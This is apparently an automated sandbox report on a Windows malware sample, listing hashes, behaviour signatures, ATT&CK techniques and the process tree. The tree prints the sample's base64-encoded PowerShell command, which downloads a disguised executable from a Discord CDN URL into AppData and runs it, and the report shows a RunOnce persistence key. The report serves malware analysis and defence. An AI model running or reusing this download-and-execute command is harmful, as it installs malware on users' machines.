c7dd78efea30251ec8a5dc9d5ff5ba92dae3771fb4c9cfb0f44a23bdabcaad52

General

Target

c7dd78efea30251ec8a5dc9d5ff5ba92dae3771fb4c9cfb0f44a23bdabcaad52.exe
Size

6KB
MD5

771d211ebe7494a139f2b76fbe7c3704
SHA1

ce312d13a9962bc458d7dbd226ec30c002b1eaba
SHA256

c7dd78efea30251ec8a5dc9d5ff5ba92dae3771fb4c9cfb0f44a23bdabcaad52
SHA512

9ecbbe1f39549dc8b9c33e1cdd1d1de1629dac5fe0911199490b31acac416b7ebf930f6a84abc6bc0f8bb6b09169aaf2ea4cd6515358943807bb125ac93366cb
SSDEEP

96:tw79nOCF/dd7tBfvk+F6AYxsOvk+FUnUvfd3ojqrl:tW9ndFld77vkAYdvkzMfdd

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
98	1780	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
4140	9.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	c7dd78efea30251ec8a5dc9d5ff5ba92dae3771fb4c9cfb0f44a23bdabcaad52.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\OperaSetups = "C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker\\RuntimeBroker.exe"	9.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1780	powershell.exe
1780	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1780	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3676 wrote to memory of 1780	3676	c7dd78efea30251ec8a5dc9d5ff5ba92dae3771fb4c9cfb0f44a23bdabcaad52.exe	81
PID 3676 wrote to memory of 1780	3676	c7dd78efea30251ec8a5dc9d5ff5ba92dae3771fb4c9cfb0f44a23bdabcaad52.exe	81
PID 1780 wrote to memory of 4140	1780	powershell.exe	92
PID 1780 wrote to memory of 4140	1780	powershell.exe	92
PID 1780 wrote to memory of 4140	1780	powershell.exe	92

C:\Users\Admin\AppData\Local\Temp\c7dd78efea30251ec8a5dc9d5ff5ba92dae3771fb4c9cfb0f44a23bdabcaad52.exe
"C:\Users\Admin\AppData\Local\Temp\c7dd78efea30251ec8a5dc9d5ff5ba92dae3771fb4c9cfb0f44a23bdabcaad52.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAYQB1ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA4ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANgA3ADQANwA5ADEANQAzADYAOAA0ADcAOAA3ADMANgAxAC8AMQAwADYANwA0ADcAOQAzADkANgA4ADUANwA5ADQANgAxADMAMgAvAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAB0AFMAYwByAGUAZQBuAC4AZQB4AGUAJwAsACAAPAAjAGUAawB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaABjAGwAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwB1AGwAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAOQAuAGUAeABlACcAKQApADwAIwB2AHoAZQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AGsAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZAByAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAOQAuAGUAeABlACcAKQA8ACMAcQBnAGIAIwA+AA=="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1780
- - C:\Users\Admin\AppData\Roaming\9.exe
    "C:\Users\Admin\AppData\Roaming\9.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:4140

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\9.exe

Filesize
4.2MB

MD5
b60e44033994d1fde9a4b6f1338bfa04

SHA1
7f2cd8091276040ca011174269112099ec3e9bef

SHA256
baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

SHA512
a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

Download Submit
C:\Users\Admin\AppData\Roaming\9.exe

Filesize
4.2MB

MD5
b60e44033994d1fde9a4b6f1338bfa04

SHA1
7f2cd8091276040ca011174269112099ec3e9bef

SHA256
baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

SHA512
a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

Download Submit
memory/1780-134-0x000001BEAA470000-0x000001BEAA492000-memory.dmp

Filesize
136KB

Download
memory/1780-141-0x00007FFC66290000-0x00007FFC66D51000-memory.dmp

Filesize
10.8MB

Download
memory/1780-135-0x00007FFC66290000-0x00007FFC66D51000-memory.dmp

Filesize
10.8MB

Download
memory/1780-137-0x00007FFC66290000-0x00007FFC66D51000-memory.dmp

Filesize
10.8MB

Download
memory/3676-136-0x00007FFC66290000-0x00007FFC66D51000-memory.dmp

Filesize
10.8MB

Download
memory/3676-132-0x00000000001E0000-0x00000000001E8000-memory.dmp

Filesize
32KB

Download
memory/4140-142-0x0000000000ED0000-0x00000000012FE000-memory.dmp

Filesize
4.2MB

Download
memory/4140-143-0x0000000005CD0000-0x0000000005D6C000-memory.dmp

Filesize
624KB

Download
memory/4140-144-0x0000000006320000-0x00000000068C4000-memory.dmp

Filesize
5.6MB

Download

Analysis

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